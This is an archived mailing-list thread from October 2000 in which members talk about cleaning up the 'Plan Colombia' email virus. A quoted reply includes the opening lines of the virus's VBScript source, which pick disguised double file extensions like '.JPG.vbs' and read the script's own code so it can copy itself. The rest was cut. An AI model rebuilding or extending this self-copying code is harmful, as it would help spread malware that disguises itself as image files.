X-OldHeader: From rickcattell@home.com-DeleteThis Fri Oct 27 12:23:43 2000 Return-Path: <rickcattell@home.com-DeleteThis> Received: from opus.labs.agilent.com (root@opus.labs.agilent.com-DeleteThis [130.29.244.179]) by jr.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id MAA01873 for <wind_talk_ls@jr.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 12:23:43 -0700 (PDT) Received: from msgbas1.cos.agilent.com (msgbas1.cos.agilent.com [130.29.152.58]) by opus.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id MAA17095 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 12:23:43 -0700 (PDT) Received: from mail.rdc1.va.home.com (ha1.rdc1.va.home.com [24.2.32.66]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 742BFD5 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 13:23:39 -0600 (MDT) Received: from home.com ([24.176.231.119]) by mail.rdc1.va.home.com (InterMail vM.4.01.03.00 201-229-121) with ESMTP id <20001027192337.JIWT12834.mail.rdc1.va.home.com@home.com-DeleteThis> for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 12:23:37 -0700 Message-ID: <39F9D616.D45C1565@home.com-DeleteThis> Date: Fri, 27 Oct 2000 12:23:02 -0700 From: Rick Cattell <rickcattell@home.com-DeleteThis> X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en To: wind_talk@opus.labs.agilent.com-DeleteThis Subject: Re: That stupid virus etc. References: <001301c04048$4d5f7b60$73452a3f@computer>
I was able to remove it with McAffee VirusScan. Someone else told me they
eradicated it with Symantec's virus scanner. However I had to restore all of my
JPGs and GIFs from a backup, they were all clobbered. Also I had to reinstall
Netscape because the virus breaks the prefs.js file so that Netscape can no
longer store preferences.
Allen H Zimmermann wrote:
> Well, it got me. Any help out there????
> ----- Original Message -----
> From: "J.R. Seven" <seven@mechsys2.me.berkeley.edu-DeleteThis>
> To: "Multiple recipients of list WIND_TALK"
> <wind_talk@opus.labs.agilent.com-DeleteThis>
> Sent: Friday, October 27, 2000 11:57 AM
> Subject: Re: That stupid virus etc.
>
> >
> > Some Bozo wrote:
> > >
> > > VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
> > >
> >
> > Yep, it sure looks like a virus to me. Saved it on a Linux box which has
> > no Microbesoft stuff to infect, and looked at the file. Gee, doesn't it
> > make you want to run out and protest? (Sorry, guess I've been in Berkeley
> > too long.)
> >
> > JR
> >
> >
> >
> > > rem
> ============================================================================
> ===================
> > > rem "Plan Colombia" virus v1.0
> > > rem by Sand Ja9e Gr0w (www.colombia.com)
> > >
> > > rem Dedicated to all the people that want to be hackers or crackers, in
> Colombia
> > > rem This program is also a protest act against the violence and
> corruption that Colombia lives...
> > > rem I always wanting that all this finishes, I have said...
> > >
> > >
> > > rem Santa fe de Bogot?2000/09
> > > rem I dedicate to all you the song "GoodBye" of Andreas Bochelli
> > > rem
> ============================================================================
> =====================
> > >
> > >
> > > rem Thanks God..!
> > > rem A greeting for "Lina Mar?" from "Santa fe de Bogot?
> > > rem A greeting for "Tizo" from "Spain"
> > > rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"
> > >
> > > rem okay, ok...
> > > rem my baby start here...
> > >
> > > On Error Resume Next
> > > dim
> fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
> > > eq=""
> > > ctr=0
> > >
> > > randomize
> > > numero = Int(Rnd * 3) + 1
> > > polye = ".GIF.vbs"
> > > If numero = 1 Then
> > > polye = ".BMP.vbs"
> > > Else
> > > If numero = 2 Then
> > > polye = ".JPG.vbs"
> > > End If
> > > End If
> > >
> > >
> > > polyn="\"&polyname(Int(Rnd * 5) + 4)&polye
> > >
> > > Set fso = CreateObject("Scripting.FileSystemObject")
> > > set file = fso.OpenTextFile(WScript.ScriptFullname,1)
> > > vbscopy=file.ReadAll
> > >
> > > [the rest of this stuff deleted, who wants to look at it anyway]
This archive was generated by hypermail 2b29 : Fri Sep 27 2002 - 12:24:50 PDT